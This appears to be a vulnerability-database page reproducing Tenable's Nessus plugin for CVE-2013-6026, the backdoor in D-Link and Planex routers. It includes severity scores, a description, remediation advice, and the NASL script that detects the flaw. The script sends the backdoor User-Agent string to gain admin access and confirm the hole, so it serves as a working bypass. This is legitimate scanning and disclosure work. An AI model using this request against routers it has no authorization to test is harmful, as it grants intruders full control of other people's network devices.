10 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.028 Low
EPSS
Percentile
90.7%
The remote web server is affected by an authentication bypass vulnerability due to a flaw in the ‘alpha_auth_check()’ function. A remote, unauthenticated attacker can exploit this issue by sending a request with the user agent string set to ‘xmlset_roodkcableoj28840ybtide’. This could allow the attacker to bypass authentication and gain access to the device using a vendor-supplied backdoor.
Note that several D-Link and Planex model routers are reportedly affected by this issue.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(70447);
script_version("1.11");
script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
script_cve_id("CVE-2013-6026");
script_bugtraq_id(62990);
script_xref(name:"CERT", value:"248083");
script_name(english:"alpha_auth_check() Function Remote Authentication Bypass");
script_summary(english:"Attempts to bypass login");
script_set_attribute(attribute:"synopsis", value:
"The remote web server is affected by an authentication bypass
vulnerability.");
script_set_attribute(attribute:"description", value:
"The remote web server is affected by an authentication bypass
vulnerability due to a flaw in the 'alpha_auth_check()' function. A
remote, unauthenticated attacker can exploit this issue by sending a
request with the user agent string set to
'xmlset_roodkcableoj28840ybtide'. This could allow the attacker to
bypass authentication and gain access to the device using a
vendor-supplied backdoor.
Note that several D-Link and Planex model routers are reportedly
affected by this issue.");
script_set_attribute(attribute:"see_also", value:"http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/");
# http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10001
script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?764b1d41");
script_set_attribute(attribute:"solution", value:
"If the affected router is a DIR-100, DIR-120, DI-524, DI-524UP,
DI-604UP, DI-604+, DI-624S, or TM-G5240, apply the appropriate firmware
update. Otherwise, contact the vendor or replace the router.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2013/10/12");
script_set_attribute(attribute:"plugin_publication_date", value:"2013/10/15");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/h:d-link:router");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2013-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("http_version.nasl");
script_require_ports("Services/www", 80);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
port = get_http_port(default:80, embedded:TRUE);
banner = get_http_banner(port:port, exit_on_fail:TRUE);
if ("thttpd-alphanetworks/" >!< banner && "Alpha_webserv" >!< banner) audit(AUDIT_HOST_NOT, "affected");
res = http_send_recv3(
method : "GET",
port : port,
item : "/",
add_headers : make_array("User-Agent", "xmlset_roodkcableoj28840ybtide"),
follow_redirect: 1,
exit_on_fail : TRUE
);
if (
res[0] =~ "200" &&
"Home/bsc_internet.htm" >< res[2] &&
"/public/logout.htm" >< res[2]
)
{
req = http_last_sent_request();
# Unless we're paranoid, make sure the page is not accessible without the User-Agent header.
if (report_paranoia < 2)
{
res2 = http_send_recv3(
method : "GET",
port : port,
item : "/",
follow_redirect: 1,
exit_on_fail : TRUE
);
if (
res2[0] =~ "200" &&
"Home/bsc_internet.htm" >< res2[2] &&
"/public/logout.htm" >< res2[2]
) exit(0, "The web server on port "+port+" does not require credentials.");
}
if (report_verbosity > 0)
{
report =
'\nNessus was able to verify this issue by sending the following request :' +
'\n' +
'\n' + req +
'\n';
security_hole(port:port, extra:report);
}
else security_hole(port);
exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");